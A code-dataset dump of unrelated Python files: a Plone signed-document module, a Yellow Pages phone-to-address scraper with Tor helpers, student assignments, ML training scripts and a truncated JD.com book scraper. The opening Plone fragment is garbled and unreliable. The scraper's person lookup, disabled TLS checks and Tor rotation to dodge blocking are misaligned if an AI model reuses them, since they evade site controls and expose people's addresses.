0\n\n\ndef html_headcheck(html):\n \"\"\" Return 'true' if document looks HTML-ish enough.\n\n If true bodyfinder() will be able to find the HTML body.\n \"\"\"\n lowerhtml = html.lower()\n if lowerhtml.find('')\n else:\n self.cooked_text = format_stx(cooked_text, level=self._stx_level)\n\n def edit(self, text_format='text/html', text='', file='', safety_belt=''):\n \"\"\"\n *used to be WorkflowAction(_edit)\n To add webDav support, we need to check if the content is locked, and if\n so return ResourceLockedError if not, call _edit.\n\n Note that this method expects to be called from a web form, and so\n disables header processing\n \"\"\"\n self.failIfLocked()\n if file and type(file) is not type(''):\n contents = file.read()\n if contents:\n text = self.text = contents\n if html_headcheck(text):\n text = bodyfinder(text)\n self.setFormat(text_format)\n self._edit(text=text, text_format=text_format, safety_belt=safety_belt)\n self.reindexObject()\n\n def CookedBody(self, stx_level=None, setlevel=0):\n \"\"\" The prepared basic rendering of an object. For Documents, this\n means pre-rendered structured text, or what was between the\n tags of HTML.\n\n If the format is html, and 'stx_level' is not passed in or is the\n same as the object's current settings, return the cached cooked\n text. Otherwise, recook. If we recook and 'setlevel' is true,\n then set the recooked text and stx_level on the object.\n \"\"\"\n if self.text_format == 'html' or self.text_format == 'plain' or stx_level is None or stx_level == self._stx_level:\n return self.cooked_text\n else:\n cooked = format_stx(self.cooked_text, stx_level)\n if setlevel:\n self._stx_level = stx_level\n self.cooked_text = cooked\n return cooked\n return\n\n def EditableBody(self):\n \"\"\" The editable body of text. This is the raw structured text, or\n in the case of HTML, what was between the tags.\n \"\"\"\n return self.no_signatures()\n\n def handleText(self, text, format=None, stx_level=None):\n \"\"\" Handles the raw text, returning headers, body, format \"\"\"\n headers = {}\n if not format:\n format = self.guessFormat(text)\n if format == 'html':\n parser = SimpleHTMLParser()\n parser.feed(text)\n headers.update(parser.metatags)\n if parser.title:\n headers['Title'] = parser.title\n body = bodyfinder(text)\n else:\n (headers, body) = parseHeadersBody(text, headers)\n if stx_level:\n self._stx_level = stx_level\n return (\n headers, body, format)\n\n def guessFormat(self, text):\n \"\"\" Simple stab at guessing the inner format of the text \"\"\"\n if html_headcheck(text):\n return 'html'\n else:\n return 'structured-text'\n\n def sign_bastioncrypto(self, REQUEST, RESPONSE):\n \"\"\"\n return the raw text suitable for our bastioncryptosign to clearsign it\n the Content-Type is set to application/x-crypto-signable\n \"\"\"\n r = []\n r.append('url:%s' % self.absolute_url())\n r.append('lock:1')\n member = getToolByName(self, 'portal_membership').getAuthenticatedMember()\n key_id = member.getProperty('email')\n r.append('arguments:--clearsign')\n try:\n if REQUEST._auth[(-1)] == '\\n':\n auth = REQUEST._auth[:-1]\n else:\n auth = REQUEST._auth\n r.append('auth:%s' % auth)\n except:\n pass\n\n r.append('cookie:%s' % REQUEST.environ.get('HTTP_COOKIE', ''))\n if wl_isLocked(self):\n mt = getToolByName(self, 'portal_membership')\n user_id = member.getId()\n for lock in self.wl_lockValues():\n if not lock.isValid():\n continue\n creator = lock.getCreator()\n if creator and creator[1] == user_id:\n r.append('lock-token:%s' % lock.getLockToken())\n if REQUEST.get('borrow_lock'):\n r.append('borrow_lock:1')\n break\n\n r.append('')\n RESPONSE.setHeader('Last-Modified', rfc1123_date())\n RESPONSE.setHeader('Content-Type', 'application/x-bastioncrypto')\n r.append(self.text)\n return ('\\n').join(r)\n\n def PUT(self, REQUEST, RESPONSE):\n \"\"\"\n return from our bastioncrypto (and anything else which is \n supposedly signing this thing) ...\n \"\"\"\n self.dav__init(REQUEST, RESPONSE)\n self.dav__simpleifhandler(REQUEST, RESPONSE, refresh=1)\n self._edit(REQUEST['BODYFILE'].read())\n RESPONSE.setStatus(204)\n return RESPONSE\n\n\nAccessControl.class_init.InitializeClass(SignedDocument)\n\ndef addSignedDocument(self, id, title=''):\n \"\"\"\n Plone ctor for Signed Document\n \"\"\"\n self._setObject(id, SignedDocument(id, title=title))\n return id","sub_path":"pycfiles/Products.BastionCrypto-4.0.2-py2.6/SignedDocument.py","file_name":"SignedDocument.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"22293354","text":"import requests\nfrom lxml import html\nimport sys\nimport pymysql\nfrom bs4 import BeautifulSoup\nfrom stem import Signal\nfrom stem.control import Controller\nimport time\nimport random\nimport string\nimport pandas as pd\n\nheaders={'User-Agent': 'Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}\nUAS = (\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1\", \n \"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0\",\n \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36\",\n )\nua = UAS[random.randrange(len(UAS))]\nheaders = {'user-agent':ua}\ntranslator = str.maketrans(string.punctuation, ' '*len(string.punctuation))\n\n\ndef get_tor_session():\n session = requests.session()\n # Tor uses the 9050 port as the default socks port\n session.proxies = {'http': 'socks5://127.0.0.1:9050',\n 'https': 'socks5://127.0.0.1:9050'}\n return session\n\n# signal TOR for a new connection \ndef renew_connection():\n with Controller.from_port(port = 9051) as controller:\n controller.authenticate(password=\"1234\")\n controller.signal(Signal.NEWNYM)\n\n\ndef db_connection():\n\tconn= pymysql.connect(\"localhost\",\"root\",\"root\",\"lookup\")\n\tcur=conn.cursor()\n\treturn conn,cur\n\n\ndef search_phone(number):\n\tnumber=number.translate(translator)\n\tnumber=\"\".join(number.split())\n\tprint(number)\n\tfinal_result=[]\n\tstreetaddress,locality,region,pcode=(\"\" for i in range(4))\n\turl=\"https://www.yellowpages.com/search?search_terms=\"+number+\"&geo_location_terms=global\"\n\ttry:\n\t\tr=requests.get(url,verify=False,timeout=30,headers=headers)\n\t\tprint(r.status_code)\n\t\tsoup=BeautifulSoup(r.content,\"html.parser\")\n\t\taddresses=soup.findAll(class_='street-address')\n\n\t\tif addresses:\n\t\t\twith open('output/'+number+'.txt','w',encoding='utf-8') as f:\n\t\t\t\n\t\t\t\tfor address in addresses:\n\t\t\t\t\tstreetaddress=address.text\n\t\t\t\t\tfor i in soup.findAll(class_='locality'):\n\t\t\t\t\t\tlocality=i.text.replace('\\xa0', '')\n\t\t\t\t\tfor x in soup.findAll(\"span\",itemprop=\"addressRegion\"):\n\t\t\t\t\t\tregion=x.text\n\t\t\t\t\tfor y in soup.findAll(\"span\",itemprop=\"postalCode\"):\n\t\t\t\t\t\tpcode=y.text\n\t\t\t\t\tresult={'number':number,'streetaddress':streetaddress,'locality':locality,'region':region,'pcode':pcode}\n\t\t\t\t\tfinal_result.append(result)\n\t\t\t\tprint(final_result)\n\t\t\t\tf.write(str(final_result))\n\t\t\t\tf.close()\n\t\treturn 1,final_result\n\texcept:\n\t\tprint('>>>>>>>>>>error')\n\t\t\t\n\nif __name__ == '__main__':\n\n\t# number='518-234-2000'\n\t# number=sys.argv[1]\n\tindputdata=pd.read_csv('contacts_1.csv').head(100)\n\tindputdata=indputdata.Domain\n\t# print(session.get(\"http://httpbin.org/ip\").text)\n\tfor i in indputdata:\n\t\ttime.sleep(2)\n\t\tsearch_phone(i)\n","sub_path":"phone_number_lookup_1.py","file_name":"phone_number_lookup_1.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"40112790","text":"def main():\r\n f = open(\"C:\\\\cp949\\\\cp949\\\\user.txt\", \"r\")\r\n lis = []\r\n while True:\r\n a = f.readline()\r\n a = a[0:-1]\r\n if not a: break\r\n f.readline()\r\n b = f.readline()\r\n b = b[0:-1]\r\n user = {'Id number': a, 'screen name': b}\r\n f.readline()\r\n lis.append(user)\r\n\r\n f.close()\r\n f = open(\"C:\\\\cp949\\\\cp949\\\\friend.txt\", \"r\")\r\n for i in range(len(lis)):\r\n lis[i]['friends'] = []\r\n while True:\r\n a = f.readline()\r\n a = a[0:-1]\r\n b = f.readline()\r\n b = b[0:-1]\r\n f.readline()\r\n i = 0\r\n if not a: break\r\n for i in range(len(lis)):\r\n h = lis[i].get('Id number')\r\n\r\n if a == h:\r\n lis[i]['friends'].append(b) # 친구관계 저장\r\n break\r\n f.close()\r\n\r\n f = open(\"C:\\\\cp949\\\\cp949\\\\word.txt\", \"r\")\r\n for i in range(len(lis)):\r\n lis[i][\"tweet\"] = []\r\n while True:\r\n a = f.readline()\r\n a = a[0:-1]\r\n if not a: break\r\n f.readline()\r\n b = f.readline()\r\n b = b[0:-1]\r\n f.readline()\r\n for i in range(len(lis)):\r\n h = lis[i].get('Id number')\r\n if a == h:\r\n lis[i]['tweet'].append(b)\r\n break\r\n f.close()\r\n\r\n word_temp = ''\r\n while True:\r\n print(\"\"\"0. Read data files\r\n 1. display statistics\r\n 2. Top 5 most tweeted words\r\n 3. Top 5 most tweeted users\r\n 4. Find users who tweeted a word (e.g., ’연세대’)\r\n 5. Find all people who are friends of the above users\r\n 6. Delete all mentions of a word\r\n 7. Delete all users who mentioned a word\r\n 8. Find strongly connected components\r\n 9. Find shortest path from a given user\r\n 99. Quit\r\n Select Menu:\"\"\", end='')\r\n a = input()\r\n if a == '0':\r\n fn = 0\r\n for i in range(len(lis)):\r\n w = len(lis[i]['friends'])\r\n fn += w\r\n for j in range(len(lis[i]['friends'])):\r\n s = lis[i].get('friends')\r\n idn = lis[i].get('Id number')\r\n sd = s[j]\r\n for y in range(i + 1, len(lis) - 1):\r\n if lis[y].get('Id number') == sd and idn in lis[y]['friends']:\r\n fn -= 1 # 겹치는거 뺀 총 친구관계 fn\r\n tw = 0\r\n for i in range(len(lis)):\r\n e = len(lis[i]['tweet'])\r\n tw += e # 총트위트수\r\n print(\"Total users: %s\" % len(lis))\r\n print(\"Total friendship records: %s\" % fn)\r\n print(\"Total tweets: %s\" % tw)\r\n elif a == '1':\r\n tw = 0\r\n for i in range(len(lis)):\r\n e = len(lis[i]['tweet'])\r\n tw += e # 총트위트수\r\n atw = tw / len(lis)\r\n arrangeTw = []\r\n for i in range(len(lis)):\r\n e = len(lis[i]['tweet'])\r\n arrangeTw.append(e)\r\n arrangeTw.sort()\r\n fn = 0\r\n arrangeFn = []\r\n for i in range(len(lis)):\r\n w = len(lis[i]['friends'])\r\n fn += w\r\n for j in range(len(lis[i]['friends'])):\r\n s = lis[i].get('friends')\r\n idn = lis[i].get('Id number')\r\n sd = s[j]\r\n for y in range(i + 1, len(lis) - 1):\r\n if lis[y].get('Id number') == sd and idn in lis[y]['friends']:\r\n fn -= 1 # 겹치는거 뺀 총 친구관계 fn\r\n arrangeFn.append(w)\r\n arrangeFn.sort()\r\n anf = fn / len(lis)\r\n print('Average number of friends: %s' % anf)\r\n print('Minimum friends: %s' % arrangeFn[0])\r\n print('Maximum number of friends: %s' % arrangeFn[len(lis)-1])\r\n print('')\r\n print('Average tweets per user: %s' % atw)\r\n print('Minium tweets per user: %s' % arrangeTw[0])\r\n print('Maximu tweets per user: %s' % arrangeTw[len(lis)-1])\r\n elif a == '2':\r\n arrangeTw = []\r\n Tw = []\r\n for i in range(len(lis)):\r\n e = len(lis[i]['tweet'])\r\n arrangeTw.append(e)\r\n arrangeTw.sort()\r\n for i in range(len(lis)):\r\n for j in range(len(lis[i]['tweet'])):\r\n Tw.append(lis[i]['tweet'][j])\r\n Tw.sort()\r\n s = 0\r\n Tlist = []\r\n Tnumb = 0\r\n for i in range(len(Tw)):\r\n if i == len(Tw) - 1:\r\n Tnumb += 1\r\n Tdict = {'word': Tw[s], 'number': Tnumb}\r\n Tlist.append(Tdict)\r\n elif Tw[s] == Tw[i]:\r\n Tnumb += 1\r\n else: # Tw[s] != Tw[i]\r\n Tdict = {'word': Tw[s], 'number': Tnumb}\r\n Tlist.append(Tdict)\r\n s = i\r\n Tnumb = 1\r\n for i in range(len(Tlist)):\r\n for j in range(i + 1, len(Tlist) - 1):\r\n if Tlist[i]['number'] < Tlist[j]['number']:\r\n Tlist[i], Tlist[j] = Tlist[j], Tlist[i]\r\n print('단어: %s 개수: %s' % (Tlist[0].get('word'), Tlist[0].get('number')))\r\n print('단어: %s 개수: %s' % (Tlist[1].get('word'), Tlist[1].get('number')))\r\n print('단어: %s 개수: %s' % (Tlist[2].get('word'), Tlist[2].get('number')))\r\n print('단어: %s 개수: %s' % (Tlist[3].get('word'), Tlist[3].get('number')))\r\n print('단어: %s 개수: %s' % (Tlist[4].get('word'), Tlist[4].get('number')))\r\n elif a == '3':\r\n mtu = [] # most tweeted users\r\n for i in range(len(lis)):\r\n usertweet = {'Id': lis[i].get('screen name'), 'Twn': len(lis[i].get('tweet'))}\r\n mtu.append(usertweet)\r\n for i in range(len(mtu)):\r\n for j in range(i + 1, len(mtu)):\r\n if mtu[i]['Twn'] < mtu[j]['Twn']:\r\n mtu[i], mtu[j] = mtu[j], mtu[i]\r\n print('닉네임: %s 트윗 수: %s' % (mtu[0].get('Id'), mtu[0].get('Twn')))\r\n print('닉네임: %s 트윗 수: %s' % (mtu[1].get('Id'), mtu[1].get('Twn')))\r\n print('닉네임: %s 트윗 수: %s' % (mtu[2].get('Id'), mtu[2].get('Twn')))\r\n print('닉네임: %s 트윗 수: %s' % (mtu[3].get('Id'), mtu[3].get('Twn')))\r\n print('닉네임: %s 트윗 수: %s' % (mtu[4].get('Id'), mtu[4].get('Twn')))\r\n elif a == '4' or a == '5':\r\n if a == '4':\r\n word = input()\r\n wordusers = []\r\n for i in range(len(lis)):\r\n for j in range(len(lis[i]['tweet'])):\r\n if lis[i]['tweet'][j] == word:\r\n ha = {'nick': lis[i]['screen name'], 'fri': lis[i]['friends']}\r\n wordusers.append(ha)\r\n break\r\n word_temp = word\r\n for i in range(len(wordusers)):\r\n print(wordusers[i]['nick'])\r\n elif a == '5':\r\n if word_temp != '':\r\n for i in range(len(wordusers)):\r\n\r\n print(\"닉네임: %s 친구: %s\" % (wordusers[i]['nick'], wordusers[i]['fri']))\r\n else:\r\n print(\"입력값이 없습니다. 4를 입력 후 찾고싶은 word를 적어주세요\")\r\n elif a == '6':\r\n delword = input()\r\n for i in range(len(lis)):\r\n t = len(lis[i]['tweet'])\r\n h = []\r\n for j in range(t):\r\n if delword == lis[i]['tweet'][j]:\r\n h.append(lis[i]['tweet'][j])\r\n for k in range(len(h)):\r\n lis[i]['tweet'].remove(h[k])\r\n elif a == '7':\r\n deluser = input()\r\n ht = []\r\n for i in range(len(lis)):\r\n t = len(lis[i]['tweet'])\r\n for j in range(t):\r\n if deluser == lis[i]['tweet'][j]:\r\n ht.append(lis[i])\r\n break\r\n for k in range(len(ht)):\r\n lis.remove(ht[k])\r\n elif a == '8':\r\n pass\r\n elif a == '9':\r\n pass\r\n elif a == '99':\r\n break\r\nmain()","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":8552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"517385634","text":"#!/usr/bin/env python\n\n\"\"\"\nGlobal Python log configuration settings\n@author mblum\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nimport logging\nimport os\nimport sys, traceback\n\nLEVELS = {'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL}\n\nLOG_FORMAT = '%(asctime)s %(name)s:%(levelname)-8s %(message)s'\nLOG_DATE_FORMAT = '%a, %d %b %Y %H:%M:%S'\nOFFSET = '\\t'*5\n\nclass Log4Py(logging.Logger):\n def _log(self, level, msg, args, exc_info=None, extra=None):\n # call parent logging method\n super(Log4Py, self)._log(level, msg, args, exc_info, extra)\n metadata = None\n if len(args) == 0:\n pass\n elif (args is not None) and (args[0] is not None):\n metadata = args[0]\n if 'exception' in metadata:\n exception = metadata['exception']\n exc_type, exc_value, exc_traceback = sys.exc_info()\n stack_trace_header = traceback.format_exception_only(type(exception), exception)\n # remove newlines\n for index, line in enumerate(stack_trace_header):\n stack_trace_header[index] = line.replace('\\n', '')\n stack_trace_body = traceback.format_exc().splitlines()\n stack_trace = stack_trace_header + stack_trace_body\n super(Log4Py, self)._log(level, '\\n{}'.format(OFFSET).join(stack_trace), args)\n\ndef getLogger(name, filename=None, level='debug'):\n \"\"\"\n Instantiate a global logger\n LOG_FILE - defaults to temp.log in the working directory\n LOG_LEVEL - defaults to DEBUG\n\n Find configuration details here:\n https://docs.python.org/2/howto/logging-cookbook.html\n \"\"\"\n log_file = filename\n log_level = level\n logging.basicConfig(level=LEVELS[log_level],\n format=LOG_FORMAT,\n datefmt=LOG_DATE_FORMAT,\n filename=log_file)\n print('configuring logging: {level} to {log}'.format(level=log_level,\n log=log_file))\n # setup custom logger\n logging.setLoggerClass(Log4Py)\n logger = logging.getLogger(name)\n return logger","sub_path":"log4py.py","file_name":"log4py.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"443280198","text":"from pathlib import Path\nimport pickle\nimport gzip\nimport requests\nimport numpy as np\nimport torch\nfrom torch import nn, optim\nfrom torch.utils.data import TensorDataset, DataLoader\nimport torch.nn.functional as F\n\nlr = 0.5 # learning rate\nepochs = 2 # how many epochs to train for\n\nDATA_PATH = Path('data')\nPATH = DATA_PATH / 'mnist'\n\nDATA_PATH.mkdir(parents=True, exist_ok=True)\n\nURL = 'http://deeplearning.net/data/mnist/'\nFILENAME = 'mnist.pkl.gz'\n\nif not (PATH / FILENAME).exists():\n content = requests.get(URL + FILENAME).content\n (PATH / FILENAME).open('wb').write(content)\nwith gzip.open((PATH / FILENAME).as_posix(), \"rb\") as f:\n ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding=\"latin-1\")\n\nx_train, y_train, x_valid, y_valid = map(\n torch.tensor, (x_train, y_train, x_valid, y_valid)\n)\ntrain_ds = TensorDataset(x_train, y_train)\nvalid_ds = TensorDataset(x_valid, y_valid)\nbs = 4\nclass WrappedDataLoader:\n def __init__(self, dl, func):\n self.dl = dl\n self.func = func\n\n def __len__(self):\n return len(self.dl)\n\n def __iter__(self):\n batches = iter(self.dl)\n for b in batches:\n yield (self.func(*b))\n\n\ndef preprocess(x, y):\n return x.view(-1, 1, 28, 28), y\n\n\ndef get_data(train_ds, valid_ds, bs):\n return (\n DataLoader(train_ds, batch_size=bs, shuffle=True),\n DataLoader(valid_ds, batch_size=bs * 2),\n )\n\n\ntrain_dl, valid_dl = get_data(train_ds, valid_ds, bs)\ntrain_dl = WrappedDataLoader(train_dl, preprocess)\nvalid_dl = WrappedDataLoader(valid_dl, preprocess)\n\n\nclass Lambda(nn.Module):\n def __init__(self, func):\n super().__init__()\n self.func = func\n\n def forward(self, x):\n return self.func(x)\n\n\ndef loss_batch(model, loss_func, xb, yb, opt=None):\n loss = loss_func(model(xb), yb)\n\n if opt is not None:\n loss.backward()\n opt.step()\n opt.zero_grad()\n\n return loss.item(), len(xb)\n\n\ndef fit(epochs, model, loss_func, opt, train_dl, valid_dl):\n for epoch in range(epochs):\n batch_num = 0\n model.train()\n for xb, yb in train_dl:\n print(xb.shape, yb.shape)\n # print('Epoch [{}]\\tBatch [{}]'.format(epoch, batch_num))\n loss_batch(model, loss_func, xb, yb, opt)\n batch_num += 1\n\n model.eval()\n with torch.no_grad():\n losses, nums = zip(\n *[loss_batch(model, loss_func, xb, yb) for xb, yb in valid_dl]\n )\n val_loss = np.sum(np.multiply(losses, nums)) / np.sum(nums)\n\n print(epoch, val_loss)\n\n\nmodel = nn.Sequential(\n nn.Conv2d(in_channels=1, out_channels=16, kernel_size=3, stride=2, padding=1),\n nn.ReLU(),\n nn.Conv2d(in_channels=16, out_channels=16, kernel_size=3, stride=2, padding=1),\n nn.ReLU(),\n nn.Conv2d(in_channels=16, out_channels=10, kernel_size=3, stride=2, padding=1),\n nn.ReLU(),\n nn.AdaptiveAvgPool2d(1),\n Lambda(lambda x: x.view(x.size(0), -1))\n)\nopt = optim.SGD(model.parameters(), lr=lr, momentum=0.9)\nloss_func = F.cross_entropy\nfit(30, model, loss_func, opt, train_dl, valid_dl)\n\ndev = torch.device(\"cuda:3\") if torch.cuda.is_available() else torch.device(\"cpu\")\n","sub_path":"nn_study.py","file_name":"nn_study.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"97042927","text":"from dataset import load_data\nfrom models import MRnet\nfrom config import config\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils import _train_model, _evaluate_model, _get_lr\nimport time\nimport torch.utils.data as data\nimport os\n\n\"\"\"Performs training of a specified model.\n \nInput params:\n config_file: Takes in configurations to train with \n\"\"\"\n\ndef train(config : dict):\n \"\"\"\n Function where actual training takes place\n\n Args:\n config (dict) : Configuration to train with\n \"\"\"\n \n print('Starting to Train Model...')\n\n train_loader, val_loader, train_wts, val_wts = load_data(config['task'])\n\n print('Initializing Model...')\n model = MRnet()\n if torch.cuda.is_available():\n model = model.cuda()\n train_wts = train_wts.cuda()\n val_wts = val_wts.cuda()\n\n print('Initializing Loss Method...')\n criterion = torch.nn.BCEWithLogitsLoss(pos_weight=train_wts)\n val_criterion = torch.nn.BCEWithLogitsLoss(pos_weight=val_wts)\n\n if torch.cuda.is_available():\n criterion = criterion.cuda()\n val_criterion = val_criterion.cuda()\n\n print('Setup the Optimizer')\n optimizer = torch.optim.Adam(model.parameters(), lr=config['lr'], weight_decay=config['weight_decay'])\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n optimizer, patience=3, factor=.3, threshold=1e-4, verbose=True)\n \n starting_epoch = config['starting_epoch']\n num_epochs = config['max_epoch']\n patience = config['patience']\n log_train = config['log_train']\n log_val = config['log_val']\n\n best_val_loss = float('inf')\n best_val_auc = float(0)\n\n print('Starting Training')\n\n writer = SummaryWriter(comment='lr={} task={}'.format(config['lr'], config['task']))\n t_start_training = time.time()\n\n for epoch in range(starting_epoch, num_epochs):\n\n current_lr = _get_lr(optimizer)\n epoch_start_time = time.time() # timer for entire epoch\n\n train_loss, train_auc = _train_model(\n model, train_loader, epoch, num_epochs, optimizer, criterion, writer, current_lr, log_train)\n\n val_loss, val_auc = _evaluate_model(\n model, val_loader, val_criterion, epoch, num_epochs, writer, current_lr, log_val)\n\n writer.add_scalar('Train/Avg Loss', train_loss, epoch)\n writer.add_scalar('Val/Avg Loss', val_loss, epoch)\n\n scheduler.step(val_loss)\n\n t_end = time.time()\n delta = t_end - epoch_start_time\n\n print(\"train loss : {0} | train auc {1} | val loss {2} | val auc {3} | elapsed time {4} s\".format(\n train_loss, train_auc, val_loss, val_auc, delta))\n\n print('-' * 30)\n\n writer.flush()\n\n if val_auc > best_val_auc:\n best_val_auc = val_auc\n\n if bool(config['save_model']):\n file_name = 'model_{}_{}_val_auc_{:0.4f}_train_auc_{:0.4f}_epoch_{}.pth'.format(config['exp_name'], config['task'], val_auc, train_auc, epoch+1)\n torch.save({\n 'model_state_dict': model.state_dict()\n }, './weights/{}/{}'.format(config['task'],file_name))\n\n t_end_training = time.time()\n print(f'training took {t_end_training - t_start_training} s')\n writer.flush()\n writer.close()\n\nif __name__ == '__main__':\n\n print('Training Configuration')\n print(config)\n\n train(config=config)\n\n print('Training Ended...')\n","sub_path":"MRNet-Single-Model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"426654112","text":"\"\"\"1249. 移除无效的括号\n给你一个由 '('、')' 和小写字母组成的字符串 s。\n你需要从字符串中删除最少数目的 '(' 或者 ')'可以删除任意位置的括号),使得剩下的「括号字符串」有效。\n请返回任意一个合法字符串。\n有效「括号字符串」应当符合以下任意一条要求:\n空字符串或只包含小写字母的字符串\n可以被写作AB(A连接B)的字符串,其中A和B都是有效「括号字符串」\n可以被写作(A)的字符串,其中A一个有效的「括号字符串」\n示例 1:\n输入:s = \"lee(t(c)o)de)\"\n输出:\"lee(t(c)o)de\"\n解释:\"lee(t(co)de)\" , \"lee(t(c)ode)\" 也是一个可行答案。\n示例 2:\n输入:s = \"a)b(c)d\"\n输出:\"ab(c)d\"\n示例 3:\n输入:s = \"))((\"\n输出:\"\"\n解释:空字符串也是有效的\n示例 4:\n输入:s = \"(a(b(c)d)\"\n输出:\"a(b(c)d)\"\n\"\"\"\nclass Solution:\n def minRemoveToMakeValid(self, s: str):\n stack = []\n flag = []\n result =[]\n for i in range(len(s)):\n if s[i] == '(':\n stack.append(i)\n elif s[i] == ')':\n if stack:\n stack.pop()\n else:\n flag.append(i)\n else:\n continue\n # 加入多余的左括号的索引\n while stack:\n flag.append(stack.pop())\n for i in range(len(s)):\n if i not in flag:\n result.append(s[i])\n else:\n continue\n result = ''.join(result)\n return result\nsolution = Solution()\nresult = solution.minRemoveToMakeValid(\"lee(t(c)o)de)\")\nprint(result)\n\n\n\n\n\n\n","sub_path":"栈/1249. 移除无效的括号.py","file_name":"1249. 移除无效的括号.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"130856071","text":"from flask import Flask, render_template, request\nfrom redis import Redis\nfrom geopy.geocoders import Nominatim\n\napp = Flask(__name__)\nredis = Redis(host='redis',port=6379)\n\n@app.route('/')\ndef index():\n redis.incr('hits')\n return render_template('index.html', visitor=redis.get('hits'))\n\n@app.route('/address',methods = ['POST', 'GET'])\ndef result():\n\tif request.method == 'POST':\n\t\taddress = request.form\n\t\taddresstrans = \"%s, %s, %s, %s \" % ( request.form.get(\"Street\"), request.form.get(\"Number\"), request.form.get(\"City\"), request.form.get(\"Country\"))\n\t\tgeolocator = Nominatim(user_agent=\"Nadav\")\n\t\tlocation = geolocator.geocode(\"%s\" % addresstrans)\n\t\tcoordinate = \"%.12f', %.12f\" % (location.latitude, location.longitude)\n\t\treturn render_template(\"result.html\",address = address, coordinate = coordinate)\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\",debug=True)\n\n","sub_path":"geopy/flask-coordinate-inter/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"630519787","text":"import scrapy\nimport logging\nimport re\n\nlogger = logging.getLogger(__name__)\n\nclass JdbookSpider(scrapy.Spider):\n name = 'jdbook'\n allowed_domains = ['jd.com']\n headers = {\n \"referer\": \"https://book.jd.com/\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47\"\n }\n\n # 主页需要特定的请求头,重写start_requests方法\n def start_requests(self):\n start_url = \"https://pjapi.jd.com/book/sort?source=bookSort\"\n yield scrapy.http.Request(\n url=start_url,\n callback=self.parse,\n headers=self.headers\n )\n\n def parse(self, response):\n data = response.json()\n if data[\"code\"] != 0:\n logger.warning(f\"url: {response.url} 主页请求数据失败\")\n return\n book_data = data[\"data\"]\n for b_cate in book_data:\n item = {}\n item[\"b_cate\"] = b_cate[\"categoryName\"]\n top_cate_id = int(b_cate[\"fatherCategoryId\"])\n father_cate_id = int(b_cate[\"categoryId\"])\n for s_cate in b_cate[\"sonList\"]:\n item[\"s_cate\"] = s_cate[\"categoryName\"]\n cate_id = int(s_cate[\"categoryId\"])\n # https://list.jd.com/list.html?cat=1713,3260,3341\n url = \"https://list.jd.com/list.html?cat=\" + \",\".join((str(id) for id in (top_cate_id, father_cate_id, cate_id)))\n yield scrapy.http.Request(\n url,\n callback=self.parse_book_list,\n headers=self.headers,\n meta={\"item\": item.copy()}\n )\n \n def parse_book_list(self, response):\n item = response.meta[\"item\"].copy()\n li_list = response.xpath(\"//div[@id='J_goodsList']/ul/li\")\n for li in li_list:\n url = li.xpath(\".//div[@class='p-img']/a/img/@data-lazy-img\").extract_first()\n if url:\n item[\"book_img\"] = response.urljoin(url)\n item[\"book_href\"] = response.urljoin(li.xpath(\".//div[@class='p-img']/a/@href\").extract_first())\n item[\"book_name\"] = li.xpath(\".//div[@class='p-name']/a/em/text()\").extract_first()\n item[\"book_author\"] = li.xpath(\".//div[@class='p-bookdetails']/span[@class='p-bi-name']/a/text()\").extract()\n item[\"book_publisher\"] = li.xpath(\".//div[@class='p-bookdetails']/span[@class='p-bi-store']/a/text()\").extract()\n item[\"book_publish_date\"] = li.xpath(\".//div[@class='p-bookdetails']/span[@class='p-bi-date']/text()\").extract_first()\n item[\"book_price\"] = li.xpath(\".//div[@class='p-price']//i/text()\").extract_first()\n print(item)\n yield item\n \n # 翻页,JD页数是按1,3,5,7...\n current_page = int(re.search(r\"page:\\\"(\\d+)\\\"\", response.text).group(1))\n count_page = int(re.search(r\"page_count:\\\"(\\d+)\\\"\", response.text).group(1))\n if current_page < count_page:\n next_page = current_page + 2\n next_url = re.sub(r\"page=\\d+\", \"page={}\".format(next_page), response.url)\n yield scrapy.http.Request(\n next_url,\n callback=self.parse_book_list,\n 